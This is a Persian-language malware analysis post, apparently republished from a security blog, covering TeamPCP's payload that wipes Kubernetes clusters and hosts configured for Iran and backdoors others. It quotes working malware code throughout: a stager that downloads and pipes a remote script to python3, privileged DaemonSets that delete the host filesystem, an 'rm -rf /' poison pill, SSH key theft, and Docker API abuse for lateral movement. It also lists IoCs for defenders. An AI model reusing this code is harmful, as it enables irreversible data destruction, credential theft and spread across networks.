آنالیز بدافزار

پاکسازی کوبرنتیزهای ایرانی توسط گروه TeamPCP

در این پست گزارش اخیر محققای Aikido در خصوص پاکسازی کوبرنتیزهای ایرانی توسط گروه هکری TeamPCP رو بررسی کردیم. محققای Aikido یک پیلود جدید در زرادخانه TeamPCP پیدا کردن که فقط اعتبارنامه‌ها رو نمیدزده یا بکدور نصب نمیکنه. این پیلود جدید، کل کلاسترهای کوبرنتیز (…

11 دقیقه مطالعه
  • پشتیبانی شبکه
  • میکنه
  • name
  • اون
  • mnt
  • بررسی
  • کوبرنتیز
  • PATH

خلاصه تحلیلی خبر

در این پست گزارش اخیر محققای Aikido در خصوص پاکسازی کوبرنتیزهای ایرانی توسط گروه هکری TeamPCP رو بررسی کردیم. محققای Aikido یک پیلود جدید در زرادخانه TeamPCP پیدا کردن که فقط اعتبارنامه‌ها رو نمیدزده یا بکدور نصب نمیکنه. این پیلود جدید، کل کلاسترهای کوبرنتیز (…

موضوعات اصلی: پشتیبانی شبکه، میکنه، name، اون، mnt، بررسی

در این پست گزارش اخیر محققای Aikido در خصوص پاکسازی کوبرنتیزهای ایرانی توسط گروه هکری TeamPCP رو بررسی کردیم.

محققای Aikido یک پیلود جدید در زرادخانه TeamPCP پیدا کردن که فقط اعتبارنامه‌ها رو نمیدزده یا بکدور نصب نمیکنه. این پیلود جدید، کل کلاسترهای کوبرنتیز (Kubernetes) رو پاکسازی میکنه.

این اسکریپت دقیقاً از همان دامنه ای که در کمپین CanisterWorm مستند کردن، استفاده میکنه (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io). همان C2، همان کد بکدور، همان مسیر استقرار /tmp/pglog. حرکت جانبی کوبرنتیز از طریق DaemonSet‌ها با روش شناخته‌شده TeamPCP مطابقت داره، اما این نوع جدید چیزی رو اضافه کرده که قبلاً مشاهده نکردن: یک پیلود مخرب با هدف ژئوپلیتیکی که به طور خاص سیستم‌های ایرانی رو هدف قرار میده.

خلاصه ای از مهمترین مشاهدات

با توجه به این که این پست حاوی جزئیات فنی زیادی است، در اینجا خلاصه‌ای از مهم‌ترین مشاهدات محققا آورده شده

  • همان دامنه C2 در CanisterWorm استفاده شده. (tdtqy-oyaaa-aaaae-af2dq-cai)
  • پیلود منطقه زمانی و زبان رو برای شناسایی سیستمهای ایرانی بررسی میکنه.
  • در کوبرنیتز: DaemonSet‌های با امتیاز بالا رو در هر گره، از جمله Control Plane، مستقر میکنه.
    • گره‌های ایرانی پاکسازی شده و از طریق یک کانتینر به نام kamikaze راه‌اندازی مجدد میشن.
    • گره‌های غیرایرانی، بکدور CanisterWorm رو به عنوان یک سرویس systemd، نصب میکنن.
  • میزبان‌های غیر کوبرنتیز ایرانی دستور rm -rf / –no-preserve-root رو دریافت میکنن.
  • برای پرسیست از نام ابزارهای PostgreSQL ( مانند pglog، pg_state، internal-monitor) برای مخفی کاری استفاده میکنه.
  • از چندین دامنه تونل Cloudflare، به عنوان زیرساخت تحویل پیلود، که بصورت مکرر تغییر میکنن، استفاده کردن.
  • جدیدترین نوع حرکت جانبی مبتنی بر شبکه رو اضافه کردن.
    • توزیع با SSH از طریق کلیدهای سرقت‌شده و تجزیه لاگ احراز هویت.
    • سوء استفاده از Docker APIهای در معرض دید در پورت ۲۳۷۵ در زیرشبکه محلی.

مرحله اول

محققا در ابتدا مشاهده کردن که اسکریپت به آدرس زیر اشاره میکنه که حاوی یک پیلود واحد بوده

https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh

اما بعدا مهاجم، همانطور که در زیر قابل مشاهده هستش، پیلود رو به دو فایل جداگانه تقسیم کرده

#!/usr/bin/env bash set -euo pipefail if ! command -v kubectl &>/dev/null; then ARCH="amd64" [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64" curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl chmod +x /tmp/kubectl export PATH="/tmp:$PATH" fi PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py" curl -L -s "$PY_URL" | python3 - rm -- "$0"

کاری که این اسکریپت انجام میده، به این صورت است

  • اول بررسی میکنه که آیا ابزارkubectl(ابزار خط فرمان برای مدیریت Kubernetes) روی سیستم نصب است یا نه. اگه نصب نبود، اون رو دانلود میکنه.
  • بعدش فایلkube.pyرو از همان آدرس اینترنتی دانلود و اجرا میکنه.
  • در نهایت، خودش رو حذف میکنه تا هیچ ردپایی باقی نذاره.

قسمت جالب ماجرا درون همان فایلkube.pyهستش. در زیر، چند خط آخرش رو مشاهده میکنید که به وضوح هدف اصلی بدافزار رو نشان میده

if __name__ == "__main__": if is_k8s(): if is_iran(): deploy_destructive_ds() else: deploy_std_ds() else: if is_iran(): poison_pill() sys.exit(1)

چطوری هدفش رو انتخاب میکنه؟

اولین کاری که اسکریپت میکنه، بررسی این است که کجا داره اجرا میشه. این کار رو با دو بررسی انجام میده

def is_k8s(): return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \ "KUBERNETES_SERVICE_HOST" in os.environ

این تابع بررسی میکنه که آیا کد درون یک پاد (Pod) در محیط کوبرنتیز اجرا میشه یا نه. به طور پیش‌فرض، هر پاد در کوبرنتیز یک حساب سرویس (service account) در مسیر مشخصی داره که وجود اون نشان‌ دهنده‌ی حضور در این محیط است.

بعدش این کدها اجرا میشه

def is_iran(): tz = "" if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f: tz = f.read().strip() else: try: tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], stderr=subprocess.DEVNULL).decode().strip() except: pass lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

این تابع، منطقه زمانی (Timezone) و زبان (Locale) سیستم رو بررسی میکنه. اگه سیستم برای ایران پیکربندی شده باشه (یعنی منطقه زمانی اونAsia/TehranیاIranباشه، یا زبان آنfa_IRباشه)، بدافزار مسیر کاملاً متفاوتی رو در پیش میگیره.

چهار مسیر، یک اسکریپت

درخت تصمیم‌گیری این بدافزار ساده و بی‌رحمانه است

  • کوبرنتیز + ایرانیک DaemonSet (برنامه‌ی مخرب) مستقر میکنه که همه‌ی گره‌های کلاستر رو پاک‌ میکنه.
  • کوبرنتیز + غیر از ایرانیک DaemonSet مستقر میکنه که روی هر گره، بکدور CanisterWorm رو نصب میکنه.
  • غیر کوبرنتیز+ ایراندستورrm -rf / --no-preserve-rootرو اجرا میکنه که یعنی کل سیستم‌عامل و تمام فایل‌ها رو به طور کامل و غیرقابل بازگشت حذف میکنه.
  • غیر کوبرنتیز + غیر از ایرانکاری نمیکنه و از برنامه خارج میشه.

پاک کننده kamikaze

نام DaemonSet که سیستمهای ایرانی رو هدف قرار میدهhost-provisioner-iranاست. نام کانتینر درون اون همkamikazeگذاشته شده. این نامگذاری، اصلاً چیز عجیبی نیست و به وضوح نشان‌دهنده‌ی هدف تخریبی اون است.

def deploy_destructive_ds(): ds_name = "host-provisioner-iran" if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0: return yaml = f""" apiVersion: apps/v1 kind: DaemonSet metadata: name: {ds_name} namespace: kube-system spec: selector: matchLabels: name: {ds_name} template: metadata: labels: name: {ds_name} spec: hostNetwork: true hostPID: true tolerations: - operator: Exists containers: - name: kamikaze image: alpine:latest securityContext: privileged: true command: ["/bin/sh", "-c"] args: - | find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true chroot /mnt/host reboot -f volumeMounts: - name: host-root mountPath: /mnt/host volumes: - name: host-root hostPath: path: / """ subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

کاری که این DaemonSet انجام میده

  • سیستم فایل ریشه میزبان رو به مسیر/mnt/hostمانت میکنه.
  • با بالاترین سطح دسترسی، تمام فایل‌ها و دایرکتوری‌های سطح بالای root رو حذف میکنه (به جز خود فولدر mnt).
  • سپس سیستم میزبان رو به زور راه‌اندازی مجدد میکنه.

چون این یک DaemonSet است و با قابلیتtolerations: [operator: Exists]ساخته شده، روی همه گره‌های کلاستر، از جمله سرور اصلی مدیریت‌کننده (control plane) اجرا میشه. فقط با یک دستورkubectl applyتمام کلاستر کوبرنتیز، به طور کامل از کار می افته و هیچ راهی برای بازیابی اون وجود نداره.

مسیر ماندگاری

برای اهدافی که در ایران نیستن، DaemonSet (با نامhost-provisioner-std) به اندازه نوع ایرانی مخرب نیست، اما از نظر عملیاتی بسیار کاربردی‌تر است. این DaemonSet، بکدور CanisterWorm رو روی هر گره مینویسه و اون رو به عنوان یک سرویس سیستمی ثبت میکنه

def deploy_std_ds(): ds_name = "host-provisioner-std" if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0: return yaml = f""" apiVersion: apps/v1 kind: DaemonSet metadata: name: {ds_name} namespace: kube-system spec: selector: matchLabels: name: {ds_name} template: metadata: labels: name: {ds_name} spec: hostNetwork: true hostPID: true tolerations: - operator: Exists containers: - name: provisioner image: alpine:latest securityContext: privileged: true command: ["/bin/sh", "-c"] args: - | mkdir -p /mnt/host{CONFIG['TARGET_DIR']} echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py cat < /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service [Unit] Description=System Monitor After=network.target [Service] ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py Restart=always RestartSec=5 [Install] WantedBy=multi-user.target EOF_UNIT chroot /mnt/host systemctl daemon-reload chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']} sleep infinity volumeMounts: - name: host-root mountPath: /mnt/host volumes: - name: host-root hostPath: path: / """ subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

بکدور دقیقاً همان چیزی است که در پست مربوط به CanisterWormمستند کردن. این بدافزار هر ۵۰ دقیقه یک بار درخواستی رو به C2 ارسال میکنه، تا آدرس یک فایل باینری رو دریافت کنه و هر چیزی که به اون دستور داده بشه رو دانلود و اجرا میکنه. سوئیچ غیرفعال کردن بدافزار، youtube[.]com هم همچنان در آن وجود داره.

قرص سمی

برای سیستم‌های ایرانی که در محیط کوبرنتیز اجرا نمیشن، رویکرد بدافزار ساده تر است

def poison_pill(): cmd = "rm -rf / --no-preserve-root" if os.getuid() == 0: os.system(cmd) else: os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

کاری که این کد انجام میده

  • ابتدا بررسی میکنه که آیا اسکریپت با دسترسی root اجرا شده یا نه.
  • اگه بله، مستقیماً دستورrm -rf / --no-preserve-rootرو اجرا میکنه که یعنی همه‌چیز رو از سیستم‌عامل و فایل‌ها پاک کن.
  • اگه دسترسی root نداره، اول سعی میکنه با دستورsudo -n(که یعنی اگه sudo بدون نیاز به رمز تنظیم شده) اون رو اجرا کنه.
  • اگه اون هم کار نکرد، در نهایت همان دستور رو مستقیماً اجرا میکنه.

حتی اگه بدافزار دسترسی root نداشته باشه، با اجرای دستورrm -rfدر سطح کاربر، حداقل تمام فایل‌ها و داده‌هایی که اون کاربر خاص به اونها دسترسی داره رو حذف میکنه و باعث خرابی و از کار افتادن سیستم میشه.

چرا این موضوع اهمیت داره

گروه TeamPCP از اواخر سال ۲۰۲۵ به عنوان یک بازیگر تهدید مبتنی بر ابر شناسایی شده که هدف اون، پیکربندی‌های نادرست Docker API، کلاسترهای کوبرنتیز و خطوط CI/CD هستش. روش کار اونا (شامل تشخیص محیط و انشعاب‌های خاص کوبرنتیز) همواره ثابت بوده. اما دو رویداد حمله به Trivy و کمپین CanisterWorm نشان داد که اونا قادر به فعالیت در مقیاس زنجیره تأمین هم هستن. و این پیلود جدید ثابت میکنه که هر زمان که اراده کنن، برای انجام اقدامات مخرب و تخریب‌گرانه هم آماده‌اند.

چه چیزی را باید جستجو کنید

برای تشخیص این بدافزار در محیط Kubernetes، موارد زیر را بررسی کنید

DaemonSet‌ها رو در فضای نامkube-systemچک کنید

kubectl get ds -n kube-system

به دنبال DaemonSetهایی با نام‌هایhost-provisioner-iranیاhost-provisioner-stdباشید. همچنین هر DaemonSet که از mountPath: / با زمینه امنیتی با امتیاز بالا استفاده میکنه رو ارزیابی کنید. این ترکیب هرگز نباید در خارج از عوامل سطح زیرساخت، مانند خود kubelet وجود داشته باشه.

در سمت میزبان (سیستم‌عامل)، موارد زیر رو بررسی کنید

  • یک سرویس systemd به نامinternal-monitor(با دستورsystemctl status internal-monitorمیتونید وضعیت اون رو ببینید).
  • وجود فایل در مسیر/var/lib/svc_internal/runner.py.
  • پروسس هایی با نامpglogدر فولدر/tmp/.
  • اتصالات خروجی به دامنه‌هایicp0[.]io(که نشان‌دهنده ارتباط با C2 است).

نسخه ی جدید

نسخه‌ی سوم این پیلود به تازگی ظاهر شده و در آدرس زیر قرار داره.

https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py

این نسخه شامل همان بکدور، همان پاک‌کننده ایرانی هستش اما نیازی به کوبرنتیز نداره. این نسخه به‌تنهایی و بطور خودکار پخش میشه.

نسخه‌های قبلی برای حرکت در بین کلاستر به DaemonSet متکی بودن. این نوع جدید، اون روش رو به‌ کلی کنار گذاشته و به جای اون از دو روش حرکت جانبی استفاده میکنه

  • سرقت کلیدهای SSH
  • سوء استفاده از Docker APIهای در معرض دید.

همچنین زیرشبکه‌ی محلی (/24) رو برای یافتن اهداف جدید اسکن میکنه.

اینجا نحوه‌ی پیدا کردن ماشین‌های هدف رو مشاهده میکنید

def get_accepted_targets(): targets = {} for path in ["/var/log/auth.log", "/var/log/secure"]: if os.path.exists(path): try: with open(path, "r") as f: for line in f: if "Accepted" in line: match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line) if match: user, ip = match.groups() if ip not in targets: targets[ip] = [] if user not in targets[ip]: targets[ip].append(user) except: pass return targets

این تابع، فایل‌های لاگ SSH (/var/log/auth.logو/var/log/secure) رو برای ورودهای موفق بررسی میکنه و نام کاربری و آدرس IP مبدأ رو استخراج میکنه. این‌ها تبدیل به جفت‌های IP, Username برای توزیع میشن. برای هر IP دیگه ای که در زیرشبکه پیدا کنه و در لاگ‌ها نباشه، به‌عنوان آخرین راه‌حل، نامهای کاربری پیش‌فرض مانندrootubuntuadminوec2-userرو بررسی میکنه.

سپس، تمام کلیدهای خصوصی SSH که پیدا کرده رو جمع آوری میکنه

keys = [] ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]: p = os.path.join(ssh_base, t) if os.path.exists(p): keys.append(p)

برای هر هدف، دو پورت رو بررسی میکنه

پورت ۲۲ (SSH)برای توزیع از طریق SSH، از کلیدهای دزدیده‌شده استفاده میکنه

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no", "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}", f"echo {b64_logic} | base64 -d | bash"]

پورت ۲۳۷۵ (Docker API)از Docker API در معرض دید سوءاستفاده میکنه و یک کانتینر با دسترسی root ایجاد میکنه که سیستم فایل میزبان رو مانت میکنه

payload = { "Image": "alpine:latest", "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"], "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"} } conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

هر دو مسیر، همان پیلودget_remote_logicرو تحویل میدن که بررسی منطقه‌ی زمانی ایران رو روی میزبان راه‌دور انجام میده. اهداف ایرانی پاک‌ میشن و بقیه، بکدورpgmon.pyرو به عنوان یک سرویس systemd نصب میکنن.

خود پاک‌کننده هم تغییر کرده. نسخه‌های قبلی در میزبانهای غیرکوبرنتیز از دستورrm -rf / --no-preserve-rootاستفاده میکنن، در حالیکه نوع DaemonSet از روشfind / -maxdepth 1 ... -exec rm -rf {} +با راه‌اندازی مجدد اجباری استفاده میکرد. این نسخه، برخلاف نسخه‌های قبلی که برای هر محیط روش جداگانه‌ای داشتن، حالا از یک رویکرد واحد برای همه استفاده میکنه: پاکسازی باfindو سپس راه‌اندازی مجدد اجباری باreboot -f.

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

این روش، مستقیماً از ابزارهای قبلی TeamPCP یعنیproxy.shوpcpcat.pyگرفته شده، جایی که اونا برای یافتن Docker APIهای در معرض دید و توزیع کلیدهای SSH در زیرشبکه‌ها، اسکن می کردن. تفاوت در این است که اون ابزارها، اسکریپت‌های مستقلی برای ساخت زیرساخت بودن، اما این یکی، بکدور CanisterWorm و پاک‌کننده‌ی ایرانی رو مستقر میکنه.

تغییرات دیگه نسبت به نسخه‌های قبلی

  • نام سرویس ازinternal-monitorبهpgmonitorتغییر کرده.
  • مسیر نصب از/var/lib/svc_internal/به/var/lib/pgmon/منتقل شده.
  • توضیحات systemd اکنون “Postgres Monitor Service” است.
  • استتار با نام PostgreSQL بیشتر شده و قاعدتاً این استتار، قوی‌تر و منسجم‌تر شده.

IoCهای گزارش

شبکه

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (C2)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (تحویل پیلود اول)‍
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (تحویل پیلود دوم)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (تحویل پیلود سوم)

کوبرنتیز

  • DaemonSethost-provisioner-iranدرkube-system
  • DaemonSethost-provisioner-stdدرkube-system
  • نام کانتینرkamikazeprovisioner

میزبان

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Systemd servicepgmonitor(Description: “Postgres Monitor Service”)
  • Systemd serviceinternal-monitor

نشانه های حرکت جانبی

برای تشخیص فعالیت‌های مخرب و حرکت جانبی بدافزار در شبکه، به دنبال این نشانه‌ها بگردید

  • اتصالات خروجی SSH که با گزینه‌یStrictHostKeyChecking=noاز دستگاه‌های آلوده برقرار می‌شوند. (این گزینه باعث می‌شود که SSH بدون تأیید کلید میزبان، به هر سروری متصل بشه و نشان‌دهنده‌ی فعالیت خودکار و مخرب است.)
  • اتصالات خروجی به پورت ۲۳۷۵ (که مربوط به Docker API است) در زیرشبکه‌ی محلی. (این پورت اگه در معرض دید باشه، به مهاجم اجازه میده بدون احراز هویت، کانتینرهای مخرب ایجاد کنه.)
  • ایجاد کانتینرهای Alpine با دسترسی سطح root از طریق Docker API بدون احراز هویت، که سیستم فایل میزبان رو به صورت کامل مانت میکنه. (این نشانه‌ی مستقیم سوءاستفاده از Docker API برای نفوذ به میزبان است.)

منبع

نوشتهپاکسازی کوبرنتیزهای ایرانی توسط گروه TeamPCPاولین بار درXNET. پدیدار شد.

برای ارزیابی پایداری، امنیت و نگهداری این زیرساخت، راهنمای پشتیبانی شبکه را نیز مطالعه کنید.